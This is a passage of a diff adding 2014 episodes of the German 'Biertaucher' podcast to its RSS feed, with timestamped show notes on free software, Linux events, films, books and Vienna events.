+</li><li> 0:36:33 Florian's Reisebericht: Offline mit Zeckenbissen im Moor und Museumsbesuche in London: <a href="https://de.wikipedia.org/wiki/HMS_Belfast_(C35)">Museumskreuzer Belfast</a>, Sherlock Holmes Museum, <a href="https://de.wikipedia.org/wiki/Imperial_War_Museum">Imperial War Museum</a>, St. Paul's Kathedrale.
+</li><li> 0:51:55 Sherlock Holmes TV-Serien, <a href="http://youtu.be/UVBPGN3g14c">Danger 5: Season 2 Trailer</a> ist online, Hobgoblins, Iron Sky 2, <a href="http://www.amazon.de/gp/product/B00GXA7X0Q/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00GXA7X0Q&linkCode=as2&tag=spielendprogr-21&linkId=TST4HWHANURFU3V7">The Slap - Nur eine Ohrfeige</a>
+</li><li> 0:53:57 <a href="http://spielend-programmieren.at/blog/20140905_ars_electronica.html">Kursteilnehmer von Horst's Programmierkursen gewinnt U-19 Programmierwettbewerb</a> der Ars Electronica
+</li><li> 0:54:39 Buchrezensieon: Europe: The Struggle for Supremacy: <a href="http://www.amazon.de/gp/product/0141037172/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=0141037172&linkCode=as2&tag=spielendprogr-21&linkId=PL65CCULVY346AKR">Europe: The Struggle for Supremacy, 1453 to the Present</a>
+</li><li> 0:59:20 japanische Anime-Serie: <a href="https://de.wikipedia.org/wiki/Texhnolyze">Texnolyze</a>
+</li><li> 1:03:20 Report: <a href="http://spielend-programmieren.at/blog/20140914_streetlifefestival.html">Streetlifefestival</a> am Wochenende: Im Zeichen der Fußgänger, siehe Interviews im Anschluss
+</li><li> 1:06:54 diesen Samstag: <a href="http://softwarefreedomday.org/">Software-Freedom Day</a> Infostand am Museumsquartier
+</li><li> 1:08:10 Interview: <a href="http://www.gewista.at/DE/Produkte/Citybike%20Wien/Citybike+Wien.aspx">Hans Erich Dechant (Citybike Wien)</a> über Streetlifefestival und Citybikesysteme in anderen Städten
+</li><li> 1:11:04 Interview: Petra JENS, Fußgängerbeauftragte der Stadt Wien, über das Streetlifefestival und die <a href="http://www.mobilitaetswoche.at/">Wiener Mobilitätswoche</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher173.mp3" length="52697515" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Sven war in Weiz auf den Knoppixtagen, in Linz auf der Ars Electronica, in Graz im Realraum und will in der Zotter Schokoladefabrik sterben</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/CmM0qO http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:13:08</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 173, Minecraft, Digital City, Apple, Linux Voice, Reisebericht, England, Dartmoor, Anime, Japan, Cowboy Bebop, ct Sonderheft programmieren, London, Danger5, Europe struggle for supremacy, Texnolyze, Streetlifefestival, Citybike
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 172</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:172</link>
+ <pubDate>Wed, 10 Sep 2014 15:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher172.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:172&amp;title=Biertaucher%20Folge%20172&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Sven GUCKES, Ferry und Fabio KUNST plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/5RcUKL oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/5RcUKL">hier klicken um die Shownotes zur Folge 172</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Sven GUCKES</B>, <b>Ferry</b> und <b>Fabio KUNST</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, Sponsorenhuldigung
+</li><li> 0:00:52 Sven war in Graz im <a href="http://realraum.at/wiki/doku.php">Realraum Hackerspace</a>, bei der Froscon und bei den <a href="http://d4e.at/schulungen/knoppixtage-2014/">Knoppixtagen Weiz</a> sowie bei der Ars Electronica Linz
+</li><li> 0:04:20 Sven war in der <a href="http://www.zotter.at/de/startseite.html">Zotter</a> <a href="http://www.zotter.at/de/schoko-laden-theater.html">Schokoladenfabrik</a> sowie auf der <a href="http://www.riegersburg.com/">Riegersburg</a>
+</li><li> 0:12:50 Sven hat einen Überraschungsgast Ferry organisiert, der über die <a href="http://voyagerlive.org/">Voyager Linux Distro</a> aus Frankreich erzählt
+</li><li> 0:21:54 Sven kam zu spät um sich die domain Zubuntu zu regisrieren. Neues <a href="http://www.ubuntu.com">Ubuntu</a> 14.10 wird bald erscheinen, Ubuntukonferenz im Oktober in <a href="http://ubucon.de/2014/">Katlenburg</a>.
+</li><li> 0:25:02 Kickstarter Projekt <a href="http://www.uberent.com/pa/">Planetary Annihilation</a> gelauncht. Umständliche Kickstarter Reward Prozedur. Nichtfunktionierender <a href="http://myworldsofmagic.com/">World-of-Magic</a> Steam Key
+</li><li> 0:30:18 Am 19. September startet das <a href="http://slashfilmfestival.com/">Slashfilmfestival</a>, Gregor hat sich einen Zehnerblock gekauft
+</li><li> 0:34:35 <a href="https://www.zoovienna.at/programm-und-veranstaltungen/abendveranstaltungen">Schünbrunn Tiergarten Nachtführung</a>: Mit Nachtsichtgeräten in den Zoo, Zombiewalks, <a href="http://youtu.be/YoB8t0B4jx4">Hund als Riesenspinne</a>
+</li><li> 0:39:00 Sven war in Linz auf der <a href="http://www.aec.at/news/">Ars Electronica</a>, beim <a href="http://www.hoehenrausch.at/">Linzer Höhenrausch</a> und bei der <a href="http://www.klangwolke.at/">Klangwolke</a>. Außerdem: <a href="http://www.radical-openness.org/">Radical Openness</a>, Liwoli, Linzer Hackerspace: <a href="http://devlol.org/wiki/HTTP">devlol</a>
+</li><li> 0:52:48 Linzer Eventschiff: <a href="http://donautics.stwst.at/information">Messchiff Elenoore</a>
+</li><li> 0:53:57 <a href="http://spielend-programmieren.at">spielend-programmieren Kursteilnehmer</a> (11.J) hat beim <a href="http://spielend-programmieren.at/blog/20140905_ars_electronica.html">U19-Wettbewerb der Ars Electronica</a> gewonnen
+</li><li> 0:55:24 Sven war beeindruckt von einer Kunstinstallation mit 2 Robotern sowie von einer Fotobox-Installation, die nur bei Lautstärke scharf stellt
+</li><li> 0:59:59 Horst will was sagen, vergisst es aber. Gergor hat wieder einen Lauren Pecall Film gesehen: The dark passage (Die schwarze Natter) : Film mit Kamera-Egoperspektive
+</li><li> 1:03:37 Horst war am <a href="http://www.buskerswien.at/">Buskers Streetart-Festival</a> am Karlsplatz / Resselpark und hat ein Interview mit einem (Lebens)künstler aufgenommen (siehe Ende des Podcasts)
+</li><li> 1:05:18 Sven bericht aus den <a href="http://www.schule.at/bildung/termine/detail/weizer-knoppixtage-2014.html">Knoppixtagen in Weiz 2014</a>. Live-Distro. <a href="https://plus.google.com/118194608319784662894/posts">Helmut Peers</a> bürokratischer Geniestreich: Knoppixtage gelten als offizielle Lehrer-Fortbildung. <a href="https://events.titanpad.com/22">interessante Vorträge und Projekte</a> von <a href="https://de.wikipedia.org/wiki/Klaus_Knopper">Klaus Knopper</a> (u.A. Drohnen-Ansteuerung). Ankündigung <a href="http://www.fh-joanneum.at/aw/home/Studienangebot_Uebersicht/department_engineering/fzt/News_Events/fzt_events/~ctrk/FZT_Events_2015_Grazer_Linuxtage/?lan=de">Grazer Linuxtag am 25.4.2015</a>, Bericht vom Grazer Python-Stammtisch und Kryptocooking
+</li><li> 1:17:37 Podcastquerverweis Europyhton 2014 in Berlin
+</li><li> 1:18:05 Ankündigung: <a href="https://www.datenspuren.de/2014/">Datenspuren-Kongress in Dresden</a> (13.-14. Sept.2014) in der <a href="http://scheune.org/">Scheune</a>
+</li><li> 1:20:30 Schlusswort, <a href="http://metalab.at">Show und Tell im Metalab</a>
+</li><li> 1:22:54 Interview mit Lebens/Straßenkünstler Fabio: Telefon: ''++43 (0)664 301 59 48'' Fabio, Künstlername "Kunst"
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher172.mp3" length="70336510" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Sven war in Weiz auf den Knoppixtagen, in Linz auf der Ars Electronica, in Graz im Realraum und will in der Zotter Schokoladefabrik sterben</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/5RcUKL http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:37:37</itunes:duration>
+<itunes:keywords>Biertaucher Podcast 172 Realraum Zotter Schokolade Riegersburg Voyager Planetary_Annihilation Slashfilmfestival Riesenspinne Ars_Electronica Linz Graz Höhenrausch Klangwolke radical_openess devlol U19 Kunst Knoppixtage Weiz Lebenskünstler Buskers
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 171</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:171</link>
+ <pubDate>Thu, 04 Sep 2014 12:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher171.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:171&amp;title=Biertaucher%20Folge%20171&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/5RcUKL oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/5RcUKL">hier klicken um die Shownotes zur Folge 171</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, Sponsorenhuldigung, rituelle Frage
+</li><li> 0:02:08 Horst <a href="http://spielend-programmieren.at/blog">vereinigt seine (Wordpres.com) Blogs</a> mit <a href="http://blog.getpelican.com/">Pelican</a>, dem Python Tool zur Erzeugung statischer Webseiten: Plugins, Themes, synchronisierte Multi-Wordpress-Installation, Feeds für Tags und Themes, Tagging.
+</li><li> 0:11:20 Zwangswerbeeinschaltung bei Wordpress.com
+</li><li> 0:13:21 <a href="https://kinko.me/the-kinko-project/">Kinko Minirechner</a>: Kryptologie fürs Wohnzimmer
+</li><li> 0:17:04 Youtube-Empfehlung: <a href="https://www.youtube.com/watch?v=X6p5AZp7r_Q">Sexismus in Computer-spielen</a>
+</li><li> 0:23:16 Podcast-Empfehlung: <a href="http://www.stayforever.de/2014/08/folge-36-tomb-raider/">Tombraider (Lara Croft) Folge vom Stay-4-ever Podcast</a> (Christian Schmidt)
+</li><li> 0:24:41 Korrektur zum (vor)letzten Podcast: Buchtitel war: Think like a Freak, nicht Superfreakonomics
+</li><li> 0:25:18 Kino: Guardians of the Galaxy
+</li><li> 0:28:53 Kino (1973) Welt am Draht
+</li><li> 0:34:56 Kino: Hector's Reise oder die Suche nach dem Glück
+</li><li> 0:38:53 Ankündigungen: Subotron Gaming Vorlesungen , Internet of Things Vienna
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher171.mp3" length="28982302" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor verspeist erstmals einen Zypresse-Vorspeisenteller und plauder dabei mit Horst über Technik-Meldungen und Kinofilme</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/5RcUKL http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:40:12</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 171, Pelican, Welt am Draht, Kinko, Youtube, Guardians of the Galaxy, Hectors Reise, Wordpress, Sexismus, Gaming
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 170</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:170</link>
+ <pubDate>Thu, 28 Aug 2014 10:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher170.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:170&amp;title=Biertaucher%20Folge%20170&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/iB0OzC oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/iB0OzC">hier klicken um die Shownotes zur Folge 170</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, Sponsorenhuldigung, rituelle Frage
+</li><li> 0:??:00 diverse Tech-Meldungen:
+</li><li> Politik: <a href="http://www.sueddeutsche.de/muenchen/software-streit-im-muenchner-rathaus-eine-frage-der-einstellung-1.2093653">Linux München</a>
+</li><li> Politik: <a href="http://www.sueddeutsche.de/kultur/protestbrief-gegen-amazon-deutscher-buchmarkt-droht-an-der-eigenen-arroganz-zugrunde-zu-gehen-1.2096433">Amazon vs. Buchhandel</a>
+</li><li> Game-Dev: User-Interface von <a href="http://blogs.unity3d.com/2014/08/20/more-open-source-initiatives-from-unity/">Unity 3D-Engine wird open source</a>
+</li><li> DRM: <a href="http://arstechnica.com/gaming/2013/12/gogs-managing-director-gamer-resistance-to-drm-is-stronger-than-ever/">Good old Games ohne DRM</a>
+</li><li> DRM: <a href="http://www.heise.de/tp/artikel/42/42560/1.html">österr. Content Industrie und Netzsperren</a>
+</li><li> Zensur: Twitter blockt Islamic State, <a href="http://www.bbc.com/news/technology-28882042">JoinDiaspora nicht</a>
+</li><li> GameDev: <a href="http://blogs.unity3d.com/2014/08/20/more-open-source-initiatives-from-unity/">Unity 3D Engine User-Interface wird open source</a>
+</li><li> Twitter: bezahlte Tweets in Timeline, Alternative identi.ca
+</li><li> Microsoft: <a href="http://research.microsoft.com/en-us/um/redmond/projects/hyperlapse/">unverwackelte Time-Lapse Videos</a>
+</li><li> Politik, Buchhandel: <a href="http://www.sueddeutsche.de/kultur/protestbrief-gegen-amazon-deutscher-buchmarkt-droht-an-der-eigenen-arroganz-zugrunde-zu-gehen-1.2096433">Anti-Amazon-Protest *nicht* unterschrieben</a>
+</li><li> 0:??:00 Displaybruch: Gregors Tablet ist kaputt, Verkäufer mittlerweile pleite
+</li><li> 0:24:11 Johnnys Hochzeitreise, Kobo Ebook Reader, besseres User-Interface beim Ebook-lesen
+</li><li> 0:32:48 statischer Blog: Horst vereinigt 2 alte wordpress.com Blogs mit Python und <a href="http://docs.getpelican.com/en/3.4.0/plugins.html">Pelican</a> auf eigenem Server: http://spielend-programmieren.at/blog
+</li><li> 0:36:30 Buch: <a href="http://www.buecherrezensionen.org/buecher/rezension/graeme-simsion-das-rosie-projekt.htm">Das Rosie-Projekt</a> von Graeme Simson
+</li><li> 0:40:08 Johnnys Tauchferien (Hochzeitreise) auf den Malediven
+</li><li> 0:48:00 Musik-Stilrichtungen-Wolke zum anklicken: http://www.furia.com/misc/genremaps/engenremap.html
+</li><li> 0:50:21 Gregor schaut <a href="https://de.wikipedia.org/wiki/Lauren_Bacall">Lauren Bacall</a> Filme: Key Largo
+</li><li> 0:53:29 Gregor schaut Lauren Pacall Filme: Brennendes Indien
+</li><li> 0:57:10 Kino: Monsieur Claude und seine Töchter
+</li><li> 0:59:43 externer Beitrag: Titus (Biertaucherpodcast-inspirierte!) <a href="http://angoramehl.blogspot.co.at/2014_01_01_archive.html">Bac-Arbeit zum Thema Erfolgsfaktoren von Kickstarter-Projekten</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher170.mp3" length="48196418" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Die Biertaucher-Bac-Arbeit! Außerdem: Johnny taucht und liest ebooks auf den Malediven, Gregors Tablet geht kaputt, Horst bloggt mit Python und Pelican, Gregor rezensiert Rosies Projekt und Filme mit Lauren Bacall, Kino: Mons. Claude u. seine Töchter</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/iB0OzC http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:06:53</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 170, Pelican, Blog, Malediven, Tauchen, Lauren Pacall, Kobo, Kickstarter, Rosie Projekt
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 169</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:169</link>
+ <pubDate>Wed, 20 Aug 2014 20:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher169.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:169&amp;title=Biertaucher%20Folge%20169&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Christoph SCHINDLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/WDedXC oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/WDedXC">hier klicken um die Shownotes zur Folge 169</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Christoph SCHINDLER plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, Sponsorenhuldigung
+</li><li> 0:00:53 Warum Hop da ist, worüber wir reden werden
+</li><li> 0:01:55 Politische Probleme bezüglich <a href="http://www.heise.de/open/meldung/LiMux-Muenchen-prueft-offenbar-die-Rueckkehr-von-Linux-zu-Windows-2293881.html">Linux München</a>
+</li><li> 0:03:32 Hop hat keine Lust auf die Linuxversion von Elite Dangerous zu warten. Berichte über <a href="http://www.pcgames.de/Elite-Dangerous-PC-123740/Videos/Elite-Dangerous-Alpha-Eindruecke-samt-Oculus-Rift-Gameplay-1110983/">Oculus Rift + Elite Dangerous</a>.
+</li><li> 0:06:44 Podcastempfehlung: Die <a href="http://www.spieleveteranen.de/archives/1323">Spieleveteranen</a> äußern sich u.a. zum Thema Croudfounding
+</li><li> 0:07:23 Gregor spielt <a href="http://www.brokenagegame.com/">Broken Age</a> (Point-and-click-Adventure) und fühlt sich poetisch unterhalten
+</li><li> 0:10:53 Adventuregames: Remake von Point and Click Adventure <a href="http://de.wikipedia.org/wiki/Grim_Fandango">Grim Fandango</a> doch nicht exclusiv für Playstation, <a href="https://en.wikipedia.org/wiki/Full_Throttle_(1995_video_game)">Full Throttle</a>, Making-of-Filme: <a href="http://www.2playerproductions.com/projects/massive-chalice">Two-Player-Productions</a>
+</li><li> 0:13:57 Gregor schäumt sich mit Dosenbier an
+</li><li> 0:14:30 Fail: Doch kein <a href="http://kivy.org/#home">Kivy</a> Unterrrichts-Erfolg beim letzten spielend-programmieren Kurs. Stattdessen: <a href="http://pymove3d.pysv.org/">Pymove 3d Tutorial</a> für Blender
+</li><li> 0:17:30 Buchtipp: <a href="http://www.amazon.de/gp/product/3100006267/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3100006267&linkCode=as2&tag=spielendprogr-21">Americana</a> von Chimanda Ngozi
+</li><li> 0:22:14 Buch- und Podcast-tipp: <del>Superfreakonomics</del><a href="http://www.amazon.de/gp/product/006227919X/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=006227919X&linkCode=as2&tag=spielendprogr-21">Think like a freak</a> von den <a href="http://freakonomics.com/category/freakonomics-radio/podcasts/">Freakonomics Podcastern/Autoren</a>
+</li><li> 0:26:00 vielseitige <a href="https://en.wikipedia.org/wiki/Dice">Würfel</a> für Rollenspiel-Freaks
+</li><li> 0:27:40 leicht ausgeflippter Bibelfilm von Martin Sorcese: Last Temptation of Christ (1988)
+</li><li> 0:30:48 Hop freut sich auf das <a href="http://slashfilmfestival.com/">Slashfilmfestival</a> im September in Wien
+</li><li> 0:37:53 Trashfilm kommt: <a href="https://www.youtube.com/watch?v=YnAg400pIGk">Nazi-Zombies: DØD SNØ 2 trailer</a>
+</li><li> 0:38:53 Horror: <a href="http://www.amazon.de/gp/product/B00FZVFH8E/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00FZVFH8E&linkCode=as2&tag=spielendprogr-21">Insidious Teil 2</a>, The Conjuring
+</li><li> 0:41:48 Warum machen die Schweden so eine <a href="https://en.wikipedia.org/wiki/Real_Humans">gute Fernseserie (Real Humans: Äkta människor)</a>? Enttäuschende US-Serie: <a href="https://en.wikipedia.org/wiki/Almost_Human_(TV_series)">Almost human</a>
+</li><li> 0:44:43 Hugo Awards (<a href="http://www.amazon.de/gp/product/B009SQ01BA/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B009SQ01BA&linkCode=as2&tag=spielendprogr-21">Neptuns Brood</a>).
+</li><li> 0:47:58 Film: The Purge, neuer MadMax Film angekündigt
+</li><li> 0:51:00 Kino: <a href="http://www.amazon.de/gp/product/B00KHK1SPO/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00KHK1SPO&linkCode=as2&tag=spielendprogr-21">Boyhood</a>
+</li><li> 0:54:58 Podcast: über QI (britische Quizsendung mit Steven Fry): <a href="http://qi.com/podcast/">no such thing as a fish</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher169.mp3" length="40890690" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Hop freut sich auf's SlashFilmFestival, Buchrezensionen: Americana und Think like a freak, jede Menge (Horror) Filme, Podcastempfehlungen</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/WDedXC http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:56:44</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 169, Think like a freak, Americana, Spieleveteranen, SlashFilmFestival, Elite Dangerous, Broken Age, Kivy, Grim Fandango, Blender, Pymove3d, Americana, QI, Neptuns Brood, Insidious, Äkta människor
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 168</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:168</link>
+ <pubDate>Fri, 15 Aug 2014 19:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher168.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:168&amp;title=Biertaucher%20Folge%20168&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/Wm6FEi oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/Wm6FEi">hier klicken um die Shownotes zur Folge 168</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung, Dank an Sponsoren
+</li><li> 0:01:00 worüber wir reden werden
+</li><li> 0:03:00 neue <a href="http://www.knoppix.org/">Knoppix-Version</a> mit u.a. integrierter Bitcoin-Wallet. Live-CD's
+</li><li> 0:04:04 Openstreetmap wird 10 Jahre alt
+</li><li> 0:04:28 Netzsperren in Österreich, Anleitungen zur Umgehung, VPN Anbieter
+</li><li> 0:06:01 Google und Yahoo wollen GnuPGP anbieten,
+</li><li> 0:08:00 Podcastempfehlung: <a href="http://cre.fm/cre116-mobile-ad-hoc-netzwerke">CRE-Hackerfunk (Freifunknetze, Funkfeuer)</a>, Gregors Freifunk Erlebnisse
+</li><li> 0:09:07 Europython Projekt: Horst und Drazen übersetzen brasilianisches Python-Tutorium: <a href="https://github.com/PythonForZombies/python-for-zombies">Python für Zombies</a>, <a href="https://de.wikipedia.org/wiki/Markdown">Markdown-Auszeichnungssprache</a> (.md) Markdown-Präsentationen
+</li><li> 0:13:55 Sailfish OS läuft unter Nexus 5, Gregor sehnt sich nach größerer OS-Diversität
+</li><li> 0:17:35 GUI-Entwicklung mit Python: <a href="http://kivy.org/#home">Kivy</a> und <a href="http://pybee.org/toga/">Toga</a>
+</li><li> 0:22:22 Horst liest gerne (Python)-News auf Reddit, Horst's Kreditenkartenumwandlung in Prepaid, <a href="http://www.reddit.com/gold/about">Reddit-Gold</a> bezahlbar mit Bitcoins.
+</li><li> 0:29:20 Twitter nervt mit Sponsored Tweets, Alternativen: Identica, Diaspora
+</li><li> 0:30:22 Gregor hört Podcast seit Folge eins nach: <a href="http://retrozirkel.de/">Der Retrozirkel</a> (Computerspiele)
+</li><li> 0:33:45 statische Webseiten und Blogs mit Python erzeugen: <a href="http://docs.getpelican.com/en/3.4.0/#">Pelican</a>
+</li><li> 0:38:10 Gregor war im Kino: <a href="http://www.amazon.de/gp/product/178329227X/ref=as_li_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=178329227X&linkCode=as2&tag=spielendprogr-21">Dawn of the Planet of the Apes</a>
+</li><li> 0:44:47 OSDomotics - Internet of Things Vienna Vorträge, 3D-Drucker, Bluetooth, 6LoWPAN, Bedeutung vom IP-Protokoll
+</li><li> 1:01:19 Outing: wir haben <a href="http://www.whatsapp.com/">WhatsApp</a>
+</li><li> 1:03:05 Haralds Erfahrungen mit <a href="http://aws.amazon.com/ec2/">Amazon Elastic Cloud</a> EC2, Amazon verdient mit Cloud-Dienstleistungen mehr als durch Warenverkauf? Datenschutz, Amazon-Cloud-Dienste ohne echtes IPV6? IPv4 vs. IPv6: Unsichtbarkeit von Webseiten
+</li><li> 1:14:27 <a href="http://windupstories.com/books/pump-six-and-other-stories/">Pump 6 and other storys</a> - Kurzgeschichtensammlung von Paolo Bacigalupi
+</li><li> 1:20:40 am 26. August 2014 <a href="http://www.meetup.com/IoT-Vienna/events/184117002/">IoT-Vienna</a> / OSDomotics Workshop im Stockwerk
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher168.mp3" length="60053074" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>elastische Amazon-Cloud, Biocyperpunk-Bücher, Prepaid-Kreditkarten, IPV6-Probleme, Bloggen mit Python (für Zombies), Planet der Affen, Internet of Things Vienna Vortrag u.v.m.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/Wm6FEi http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:23:21</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 168, Netzsperren, VPN, PGP, Python for Zombies, Sailfish, Kivy, Toga, Reddit-Gold, Kreditkarten, Twitter, Retrozirkel, Podcastempfehlung, Pelican, Planet der Affen, WhatsApp, Amazon Elastic Cloud, EC2, IPV6, Paolo Bacigalupi
+</itunes:keywords>
+</item>
+
+
+
+
+<item>
+ <title>Biertaucher Folge 167</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:167</link>
+ <pubDate>Thu, 07 Aug 2014 16:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher167.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:167&amp;title=Biertaucher%20Folge%20167&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/Msmf7P oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
